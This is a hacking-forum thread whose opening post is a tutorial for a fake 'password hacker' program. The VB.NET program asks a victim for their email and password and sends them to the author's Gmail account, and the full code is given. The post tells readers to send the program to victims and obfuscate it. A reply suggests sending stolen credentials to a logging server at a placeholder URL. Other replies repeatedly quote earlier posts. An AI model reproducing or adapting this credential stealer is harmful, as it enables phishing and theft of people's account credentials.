[Cyber Warrior]

Today I will show you how to make fake Password Hacker (example: Facebook Hack, Steam Hack, League of Legends Hack etc..), and so steal informations from your victim, witout a REAL VIRUS.


If you couldn't understand everything I said, I will show you now.

Ok so, what we are gonna do, is create simple program(In this case Facebook Hacker), which will send the informations to your e-mail.


What we need:

First of all use this import:

Imports System.Net.Mail

3x TextBox's (first Textbox for "Username", second TextBox for "Password", third TextBox for "Target e-mail")
3x Label's (As I mentioned above)
1x Button (one buton for executing a code)

It should look something like this:



Then, when you add all those stuffs as I mentioned, you need to insert few codes:

Click button and add this:

If TextBox1.Text = String.Empty Then
MsgBox("Enter your email", MsgBoxStyle.Information, MessageBoxButtons.OK)
ElseIf TextBox2.Text = String.Empty Then
MsgBox("Enter your password", MsgBoxStyle.Information, MessageBoxButtons.OK)
Else
Dim Mail As New MailMessage
Mail.Subject = TextBox1.Text
Mail.To.Add("Email which will be in use for reciving those informations")
Mail.From = New MailAddress("Email which will send you the informations")
Mail.Body = TextBox2.Text


Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Email which will send you the informations", "password from that email")
SMTP.Port = "587"
SMTP.Send(Mail)
MsgBox("123456789", MsgBoxStyle.Information, MessageBoxButtons.OK)
End If

And after that, send this little program to your victim. And when he/she enter's e-mail and password and click button, it will automaticly send you the informations on your email, which he/she wrote.

THE CODE I WROTE IS FOR GMAIL ONLY, BUT IF YOU WANT TO CHANGE TO YAHOO OR LIVE, THEN YOU WILL HAVE TO CHANGE THE CODE. ITS NOT HARD, PM ME IF YOU DONT KNOW!

Thanks for reading, I hope it will be usefull for some of you.

NOTE: REMEMBER TO PROTECT YOUR APPLICATION WITH OBFUSCATION, SO NONE CAN READ YOUR CODE AND STEAL YOUR INFORMATION.

[Deque]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

[Cyber Warrior]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

[h3r0]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

obfustication != security...

even if you had a custom encoding function it wouldn't be hard to strip the function and run it with your un and password. If anything I would have it connect to a PHP server that logs un and pass.

http://myserver.com/?un=name&pass=pass

[h3r0]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

obfustication != security...

even if you had a custom encoding function it wouldn't be hard to strip the function and run it with your un and password. If anything I would have it connect to a PHP server that logs un and pass.

http://myserver.com/?un=name&pass=pass

[h3r0]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

obfustication != security...

even if you had a custom encoding function it wouldn't be hard to strip the function and run it with your un and password. If anything I would have it connect to a PHP server that logs un and pass.

http://myserver.com/?un=name&pass=pass

[Deque]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

No. People who know that are not the target group of this tutorial, because they will most likely know how to do a basic trojan information stealer.
There is lots of malware out there that is not even obfuscated, which means there are lots of people who don't have a clue about the stuff they publish if they spread a binary.

Some strings I pulled out recently from malware binaries include absolute file pathes, showing the username of the author, e-mail addresses, ftp accounts, passwords etc.

[Deque]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

No. People who know that are not the target group of this tutorial, because they will most likely know how to do a basic trojan information stealer.
There is lots of malware out there that is not even obfuscated, which means there are lots of people who don't have a clue about the stuff they publish if they spread a binary.

Some strings I pulled out recently from malware binaries include absolute file pathes, showing the username of the author, e-mail addresses, ftp accounts, passwords etc.

[Deque]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

No. People who know that are not the target group of this tutorial, because they will most likely know how to do a basic trojan information stealer.
There is lots of malware out there that is not even obfuscated, which means there are lots of people who don't have a clue about the stuff they publish if they spread a binary.

Some strings I pulled out recently from malware binaries include absolute file pathes, showing the username of the author, e-mail addresses, ftp accounts, passwords etc.

[Cyber Warrior]

Maybe you should give a warning that this exposes your e-mail credentials to everyone, who is able to open a hex editor.
Use some indentation for the code, otherwise it is hard to read.

Yea, thanks for adding that. But I guess everyone knows that they need to secure applications with obfuscators...

No. People who know that are not the target group of this tutorial, because they will most likely know how to do a basic trojan information stealer.
There is lots of malware out there that is not even obfuscated, which means there are lots of people who don't have a clue about the stuff they publish if they spread a binary.

Some strings I pulled out recently from malware binaries include absolute file pathes, showing the username of the author, e-mail addresses, ftp accounts, passwords etc.

You are tottaly right my friend. I added that in thread.